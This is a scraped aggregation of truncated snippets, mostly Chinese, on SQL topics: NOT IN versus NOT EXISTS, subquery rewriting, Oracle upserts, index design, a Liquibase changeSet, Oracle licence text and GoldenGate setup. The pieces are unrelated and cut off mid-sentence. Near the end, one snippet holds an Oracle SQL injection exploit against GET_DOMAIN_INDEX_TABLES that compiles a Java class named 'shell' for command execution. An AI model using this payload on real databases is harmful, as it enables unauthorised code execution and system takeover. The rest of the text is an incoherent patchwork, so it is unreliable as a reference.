not in 和not exists:如果查询语句使用了not in 那么内外表都进行全表扫描,没有用到索引;而not extsts 的子查询依然能用到表上的索引。所以无论那个表大,用not exists都比not in要快,故not exists比not in效率高。 in 与 =的区别 select name from student where name in ('zhang','wang','li','zha...
但是这区别很重要,虽然优化器很强大,但是查询转换是有一定的限制的,在EXISTS性能低下,无法进行相关查询转换,比如不能UNNEST SUBQUERY,那么可能我们需要改写SQL,通常可以用IN/JOIN等改写相关子查询,或对于含有OR的SEMI JOIN改为UNION ALL/UNION的形式。下面就用例子说明一下:DROP TABLE a;DROP TABLE b;CREATE TABLE ...
where exists (select * from emp e where e.deptno=d.deptno) 范例:查询出没有员工的部门 select * from dept d where not exists (select * from emp e where e.deptno=d.deptno) 3.Insert中加入子查询(了解) 为了不破坏emp中数据的完整性,新建一个emp1表 createtablee...
IFSQL%NOTFOUNDTHENinsertintoaccount(AccountID,AccountName)values('5','添加-b');ENDIF;end; 先根据唯一ID到数据表中修改一条记录,如果这条记录在表中存在,则修改,并且SQL%NOTFOUND返回false。如果修改的记录不存在,SQL%NOTFOUND返回true,并且执行插入语句。 2:异常法 DUP_VAL_ON_INDEX 当Oracle语句执行时,...
DROP TABLE IF EXISTS `t1`; CREATE TABLE `t1` ( `id` int(11) NOT NULL AUTO_INCREMENT, `name` varchar(255) DEFAULT NULL, `address` varchar(255) DEFAULT NULL, PRIMARY KEY (`id`), KEY `idx_t1_name` (`name`(191)) USING BTREE ...
<changeSet id="create-index" author="test" runAlways="true"> <preConditions onFail="CONTINUE"> <not> <indexExists tableName="test_table" indexName="index_-id"/> </not> </preConditions> <createIndex tableName="test_table" indexName="index_-id"> ...
create index abc1 on student(sname,sid); 这两种索引方式是不一样的 索引abc对Select * from student where sid=1; 这样的查询语句更有效 索引abc1对Select * from student where sname=‟louis‟; 这样的查询语句更有效 另外,如果经常查询x=?和y=?,那推荐使用组合index(x,y),这种情况下组合索引的效...
It is not developed or intended for use in any inherently dangerous applications, including applications that may create a risk of personal injury. If you use this software or hardware in dangerous applications, then you shall be responsible to take all appropriate fail-safe, backup, redundancy, ...
GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE '''create or replace and compile java source named "shell" as import java.io.*;import java.net.*;public class shell {public static void run() throws...
If a directory already exists, the installation leaves the contents of that directory alone. Do the same steps for the downstream replication directory (/opt/oggdwn/) on the Green Host (host02). If your OBE environment is on a single host, you just create the directory /opt/oggdwn/. ...